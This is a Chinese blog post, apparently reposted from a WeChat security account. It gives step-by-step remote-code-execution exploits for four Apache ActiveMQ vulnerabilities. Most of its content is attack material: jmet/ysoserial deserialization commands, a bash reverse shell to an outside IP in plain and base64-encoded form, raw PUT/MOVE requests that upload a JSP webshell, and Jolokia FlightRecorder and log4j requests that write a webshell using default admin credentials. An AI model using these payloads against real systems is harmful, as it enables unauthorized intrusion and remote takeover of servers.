Activemq 四种Rce利用方式

admin 2024年2月9日01:23:30评论21 views字数 6509阅读21分41秒阅读模式

1.背景

ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。

2.资产影响

Hunter :app.name="Apache ActiveMQ"

Activemq 四种Rce利用方式

3.ActiveMQ 反序列化-CVE-2015-5254

漏洞影响:Apache ActiveMQ < 5.13.0

漏洞利用过程如下:

  • 构造(可以使用ysoserial)可执行命令的序列化对象

  • 作为一个消息,发送给目标61616端口

  • 访问web管理页面,读取消息,触发漏洞

使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

下载链接:

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

利用过程:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/succes" -Yp ROME 192.168.0.135 61616

Activemq 四种Rce利用方式

访问链接需要手动触发,需要获取activemq的密码。

访问消息队列

http://host:8161/admin/index.jsp?printable=true

Activemq 四种Rce利用方式

点击消息列触发,成功创建文件。

Activemq 四种Rce利用方式

反弹shell

bash -i >& /dev/tcp/192.168.0.119/7777 0>&1

编码,执行反弹shell的命令。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTE5Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.0.135 61616

Activemq 四种Rce利用方式

点击触发

Activemq 四种Rce利用方式

获取shell:

Activemq 四种Rce利用方式

4.ActiveMQ任意文件上传-CVE-2016-3088

漏洞影响:Apache ActiveMQ < 5.13.0

利用过程:

put上传文件

PUT /fileserver/shell.jsp HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Authorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Mon, 31 Mar 2014 12:02:34 GMTContent-Length: 856






Activemq 四种Rce利用方式

木马上传但没有解析

Activemq 四种Rce利用方式

尝试报错拿到绝对路径

PUT /fileserver/ab8/x/x/x/xx//1.txt HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 1

1

Activemq 四种Rce利用方式

移动文件

MOVE /fileserver/shell.jsp HTTP/1.1Destination:file:///Tools/apache-activemq-5.9.1/webapps/api/shell.jspHost: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: text/css,*/*;q=0.1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Authorization: Basic YWRtaW46YWRtaW4=Connection: closeReferer:Cookie: JSESSIONID=1geep13tnnxv81pf2nr658i6wi

Activemq 四种Rce利用方式

5.Apache-ActiveMQ-Jolokia-CVE-2022-41678

影响范围:

Apache ActiveMQ before 5.16.6Apache ActiveMQ 5.17.0 before 5.17.4Apache ActiveMQ 5.18.0 unaffectedApache ActiveMQ 6.0.0 unaffected

需要获取认证,默认密码为admin/admin。

Mbean是jdk.management.jfr.FlightRecorderMXBean。

FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。

需要带上Origin,不然会403

利用过程:

新建记录:

POST /api/jolokia/ HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Authorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/jsonContent-Length: 120Origin:http://192.168.0.135:8161

{"type": "EXEC","mbean": "jdk.management.jfr:type=FlightRecorder","operation": "newRecording","arguments": []}

Activemq 四种Rce利用方式

记住这个 `value`参数中的值,后面的poc要用到。

更改配置:

将默认配置的如下处改为jsp代码,特殊字符需要实体编码

恶意xml太长放公众号里了回复【CVE-2022-41678】获取

POST /api/jolokia/ HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Authorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 31677

Activemq 四种Rce利用方式

开始录制:

POST /api/jolokia/ HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Authorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 123

{"type": "EXEC","mbean": "jdk.management.jfr:type=FlightRecorder","operation": "startRecording","arguments": [1]}

Activemq 四种Rce利用方式

结束录制:

POST /api/jolokia/ HTTP/1.1Host: ritian.dayaoy.cn:8161User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Authorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 122

{"type": "EXEC","mbean": "jdk.management.jfr:type=FlightRecorder","operation": "stopRecording","arguments": [1]}

Activemq 四种Rce利用方式

导出到根目录下:

POST /api/jolokia/ HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Authorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 156

{    "type": "EXEC",    "mbean": "jdk.management.jfr:type=FlightRecorder",    "operation": "copyTo",    "arguments": [1,"../../webapps/test.jsp"]}

Activemq 四种Rce利用方式

访问webshell

http://localhost:8161/admin/test.jsp

Activemq 四种Rce利用方式

webshell

Activemq 四种Rce利用方式

还有一种利用方式。

log4j2是在5.17.0中才引入Apache ActiveMQ

可利用MBean中的`setConfigText`操作可以更改Log4j的配置,进而将日志文件写入任意目录中。

修改配置文件

POST /api/jolokia/ HTTP/1.1Host: 192.168.0.135:8161Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36Origin: http://192.168.0.135:8161Content-Length: 1944Content-Type: application/jsonAuthorization: Basic YWRtaW46YWRtaW4=Connection: close

Activemq 四种Rce利用方式

写入内容:

POST /api/jolokia/ HTTP/1.1Host: 192.168.0.135:8161Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36Origin: http://192.168.0.135:8161Content-Length: 1915Content-Type: application/jsonAuthorization: Basic YWRtaW46YWRtaW4=Connection: close

Activemq 四种Rce利用方式

webshell:

Activemq 四种Rce利用方式

6.Apache-ActiveMQ-CVE-2023-46604

漏洞影响Apache ActiveMQ < 5.18.3Apache ActiveMQ < 5.17.6Apache ActiveMQ < 5.16.7Apache ActiveMQ < 5.15.16

这个相关的工具很多直接去github去找就行了,贴一个图中利用的项目

https://github.com/Hutt0n0/ActiveMqRCE

放置恶意test.xml把上文内容粘进去

开启http服务

Activemq 四种Rce利用方式

执行命令

Activemq 四种Rce利用方式

原文始发于微信公众号(潇潇安全):Activemq 四种Rce利用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月9日01:23:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Activemq 四种Rce利用方式https://cn-sec.com/archives/2398739.html

发表评论

匿名网友 填写信息